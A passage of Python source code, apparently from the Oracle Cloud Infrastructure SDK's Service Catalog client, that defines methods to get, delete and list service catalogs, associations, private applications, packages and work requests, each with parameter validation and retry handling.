self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params) def delete_service_catalog(self, service_catalog_id, **kwargs): """ Deletes the specified service catalog from the compartment. :param str service_catalog_id: (required) The unique identifier for the service catalog. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the etag from a previous GET or POST response for that resource. The resource will be updated or deleted only if the etag you provide matches the resource's current etag value. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/delete_service_catalog.py.html>`__ to see an example of how to use delete_service_catalog API. """ resource_path = "/serviceCatalogs/{serviceCatalogId}" method = "DELETE" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_service_catalog got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "serviceCatalogId": service_catalog_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params) def delete_service_catalog_association(self, service_catalog_association_id, **kwargs): """ Removes an association between service catalog and a resource. :param str service_catalog_association_id: (required) The unique identifier of the service catalog association. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the etag from a previous GET or POST response for that resource. The resource will be updated or deleted only if the etag you provide matches the resource's current etag value. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/delete_service_catalog_association.py.html>`__ to see an example of how to use delete_service_catalog_association API. """ resource_path = "/serviceCatalogAssociations/{serviceCatalogAssociationId}" method = "DELETE" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_service_catalog_association got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "serviceCatalogAssociationId": service_catalog_association_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params) def get_private_application(self, private_application_id, **kwargs): """ Gets the details of the specified private application. :param str private_application_id: (required) The unique identifier for the private application. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.PrivateApplication` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/get_private_application.py.html>`__ to see an example of how to use get_private_application API. """ resource_path = "/privateApplications/{privateApplicationId}" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_private_application got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "privateApplicationId": private_application_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="PrivateApplication") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="PrivateApplication") def get_private_application_action_download_logo(self, private_application_id, **kwargs): """ Downloads the binary payload of the logo image of the private application. :param str private_application_id: (required) The unique identifier for the private application. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type stream :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/get_private_application_action_download_logo.py.html>`__ to see an example of how to use get_private_application_action_download_logo API. """ resource_path = "/privateApplications/{privateApplicationId}/actions/downloadLogo" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_private_application_action_download_logo got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "privateApplicationId": private_application_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "image/bmp, image/gif, image/jpeg, image/png, image/tiff", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="stream") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="stream") def get_private_application_package(self, private_application_package_id, **kwargs): """ Gets the details of a specific package within a given private application. :param str private_application_package_id: (required) The unique identifier for the private application package. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.PrivateApplicationPackage` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/get_private_application_package.py.html>`__ to see an example of how to use get_private_application_package API. """ resource_path = "/privateApplicationPackages/{privateApplicationPackageId}" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_private_application_package got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "privateApplicationPackageId": private_application_package_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="PrivateApplicationPackage") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="PrivateApplicationPackage") def get_private_application_package_action_download_config(self, private_application_package_id, **kwargs): """ Downloads the configuration that was used to create the private application package. :param str private_application_package_id: (required) The unique identifier for the private application package. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type stream :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/get_private_application_package_action_download_config.py.html>`__ to see an example of how to use get_private_application_package_action_download_config API. """ resource_path = "/privateApplicationPackages/{privateApplicationPackageId}/actions/downloadConfig" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_private_application_package_action_download_config got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "privateApplicationPackageId": private_application_package_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/zip", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="stream") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="stream") def get_service_catalog(self, service_catalog_id, **kwargs): """ Gets detailed information about the service catalog including name, compartmentId :param str service_catalog_id: (required) The unique identifier for the service catalog. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.ServiceCatalog` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/get_service_catalog.py.html>`__ to see an example of how to use get_service_catalog API. """ resource_path = "/serviceCatalogs/{serviceCatalogId}" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_service_catalog got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "serviceCatalogId": service_catalog_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="ServiceCatalog") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="ServiceCatalog") def get_service_catalog_association(self, service_catalog_association_id, **kwargs): """ Gets detailed information about specific service catalog association. :param str service_catalog_association_id: (required) The unique identifier of the service catalog association. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.ServiceCatalogAssociation` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/get_service_catalog_association.py.html>`__ to see an example of how to use get_service_catalog_association API. """ resource_path = "/serviceCatalogAssociations/{serviceCatalogAssociationId}" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_service_catalog_association got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "serviceCatalogAssociationId": service_catalog_association_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="ServiceCatalogAssociation") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="ServiceCatalogAssociation") def get_work_request(self, work_request_id, **kwargs): """ Gets the status of the work request with the given ID. :param str work_request_id: (required) The ID of the asynchronous request. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.WorkRequest` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/get_work_request.py.html>`__ to see an example of how to use get_work_request API. """ resource_path = "/workRequests/{workRequestId}" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_work_request got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "workRequestId": work_request_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="WorkRequest") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="WorkRequest") def list_applications(self, **kwargs): """ Lists all the applications in a service catalog or a tenancy. If no parameter is specified, all catalogs from all compartments in the tenancy will be scanned for any type of content. :param str compartment_id: (optional) The unique identifier for the compartment. :param str service_catalog_id: (optional) The unique identifier for the service catalog. :param str entity_type: (optional) The type of the application in the service catalog. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param int limit: (optional) How many records to return. Specify a value greater than zero and less than or equal to 1000. The default is 30. :param str page: (optional) The value of the `opc-next-page` response header from the previous \"List\" call. :param str display_name: (optional) Exact match name filter. :param str entity_id: (optional) The unique identifier of the entity associated with service catalog. :param list[str] publisher_id: (optional) Limit results to just this publisher. :param list[str] package_type: (optional) Name of the package type. If multiple package types are provided, then any resource with one or more matching package types will be returned. Allowed values are: "STACK" :param list[str] pricing: (optional) Name of the pricing type. If multiple pricing types are provided, then any resource with one or more matching pricing models will be returned. Allowed values are: "FREE", "BYOL", "PAYGO" :param bool is_featured: (optional) Indicates whether to show only featured resources. If this is set to `false` or is omitted, then all resources will be returned. :param str sort_order: (optional) The sort order to apply, either `ASC` or `DESC`. Default is `ASC`. Allowed values are: "ASC", "DESC" :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.ApplicationCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/list_applications.py.html>`__ to see an example of how to use list_applications API. """ resource_path = "/applications" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "compartment_id", "service_catalog_id", "entity_type", "opc_request_id", "limit", "page", "display_name", "entity_id", "publisher_id", "package_type", "pricing", "is_featured", "sort_order" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_applications got unknown kwargs: {!r}".format(extra_kwargs)) if 'package_type' in kwargs: package_type_allowed_values = ["STACK"] for package_type_item in kwargs['package_type']: if package_type_item not in package_type_allowed_values: raise ValueError( "Invalid value for `package_type`, must be one of {0}".format(package_type_allowed_values) ) if 'pricing' in kwargs: pricing_allowed_values = ["FREE", "BYOL", "PAYGO"] for pricing_item in kwargs['pricing']: if pricing_item not in pricing_allowed_values: raise ValueError( "Invalid value for `pricing`, must be one of {0}".format(pricing_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "compartmentId": kwargs.get("compartment_id", missing), "serviceCatalogId": kwargs.get("service_catalog_id", missing), "entityType": kwargs.get("entity_type", missing), "limit": kwargs.get("limit", missing), "page": kwargs.get("page", missing), "displayName": kwargs.get("display_name", missing), "entityId": kwargs.get("entity_id", missing), "publisherId": self.base_client.generate_collection_format_param(kwargs.get("publisher_id", missing), 'multi'), "packageType": self.base_client.generate_collection_format_param(kwargs.get("package_type", missing), 'multi'), "pricing": self.base_client.generate_collection_format_param(kwargs.get("pricing", missing), 'multi'), "isFeatured": kwargs.get("is_featured", missing), "sortOrder": kwargs.get("sort_order", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="ApplicationCollection") else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="ApplicationCollection") def list_private_application_packages(self, private_application_id, **kwargs): """ Lists the packages in the specified private application. :param str private_application_id: (required) The unique identifier for the private application. :param str private_application_package_id: (optional) The unique identifier for the private application package. :param list[str] package_type: (optional) Name of the package type. If multiple package types are provided, then any resource with one or more matching package types will be returned. Allowed values are: "STACK" :param int limit: (optional) How many records to return. Specify a value greater than zero and less than or equal to 1000. The default is 30. :param str page: (optional) The value of the `opc-next-page` response header from the previous \"List\" call. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str sort_by: (optional) The field to use to sort listed results. You can only specify one field to sort by. `TIMECREATED` displays results in descending order by default. You can change your preference by specifying a different sort order. Allowed values are: "TIMECREATED", "VERSION" :param str sort_order: (optional) The sort order to apply, either `ASC` or `DESC`. Default is `ASC`. Allowed values are: "ASC", "DESC" :param str display_name: (optional) Exact match name filter. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.PrivateApplicationPackageCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/list_private_application_packages.py.html>`__ to see an example of how to use list_private_application_packages API. """ resource_path = "/privateApplicationPackages" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "private_application_package_id", "package_type", "limit", "page", "opc_request_id", "sort_by", "sort_order", "display_name" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_private_application_packages got unknown kwargs: {!r}".format(extra_kwargs)) if 'package_type' in kwargs: package_type_allowed_values = ["STACK"] for package_type_item in kwargs['package_type']: if package_type_item not in package_type_allowed_values: raise ValueError( "Invalid value for `package_type`, must be one of {0}".format(package_type_allowed_values) ) if 'sort_by' in kwargs: sort_by_allowed_values = ["TIMECREATED", "VERSION"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "privateApplicationId": private_application_id, "privateApplicationPackageId": kwargs.get("private_application_package_id", missing), "packageType": self.base_client.generate_collection_format_param(kwargs.get("package_type", missing), 'multi'), "limit": kwargs.get("limit", missing), "page": kwargs.get("page", missing), "sortBy": 